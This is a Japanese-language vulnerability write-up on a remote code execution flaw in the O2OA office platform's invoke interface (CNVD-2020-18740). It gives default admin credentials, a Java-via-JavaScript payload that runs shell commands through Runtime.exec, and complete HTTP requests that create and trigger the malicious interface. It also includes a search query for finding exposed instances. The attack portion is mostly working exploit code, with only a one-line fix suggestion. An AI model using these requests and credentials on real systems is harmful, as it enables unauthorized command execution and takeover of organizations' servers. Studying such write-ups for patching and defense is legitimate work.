漏洞概要#
O2OA は、オープンソースで無料の企業およびチームのオフィスプラットフォームであり、ポータル管理、プロセス管理、情報管理、データ管理の 4 つのプラットフォームを提供しています。作業報告、プロジェクト協力、モバイル OA、ドキュメント共有、プロセス承認、データ協力など、多くの機能を備えており、企業のさまざまな管理および協力ニーズを満たしています。 O2OA システムの invoke インターフェースには、リモートコード実行の脆弱性が存在します。攻撃者はこの脆弱性を利用して任意のコードを実行することができます。
影響範囲#
title=="O2OA"
CNVD-2020-18740
攻撃手順#
環境を Docker で取得する
docker pull oxnme/o2oa:6.1.3
docker run --name o2server -p 80:80 -p 20010:20010 -p 20020:20020 -p 20030:20030 -d o2oa/o2server
弱いパスワード:xadmin/o2oa@2022
環境が構築されたら、ブラウザで 8001 ポートに直接アクセスし、o2oa のログインページに自動的に移動します。
http://192.168.31.151:8001/x_desktop/index.html
デフォルトのパスワード xadmin/o2 を入力してログインします。
注:新しいバージョンの O2OA のデフォルトパスワードは:xadmin/o2oa@2022
サービス管理を見つける
新しいインターフェース設定を追加する
以下のコマンドを実行する内容を入力します。
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
var result = [];
while (true) {
var oneline = bufReader.readLine();
result.push(oneline);
if (!oneline) break;
}
var result = { "Result": result };
this.response.setBody(result, "application/json");
または、次のリクエストパケットでインターフェース設定を作成することもできます。
リクエストパケットは次のようになります。
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}
コマンドを直接実行します。
リクエストパケットは次のようになります。
POST 192.168.31.151:20030/x_program_center/jaxrs/invoke/cmd/execute
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}
異なるコマンドを実行するには、異なるインターフェース設定を作成する必要があります。
修正案#
バージョンをアップグレードする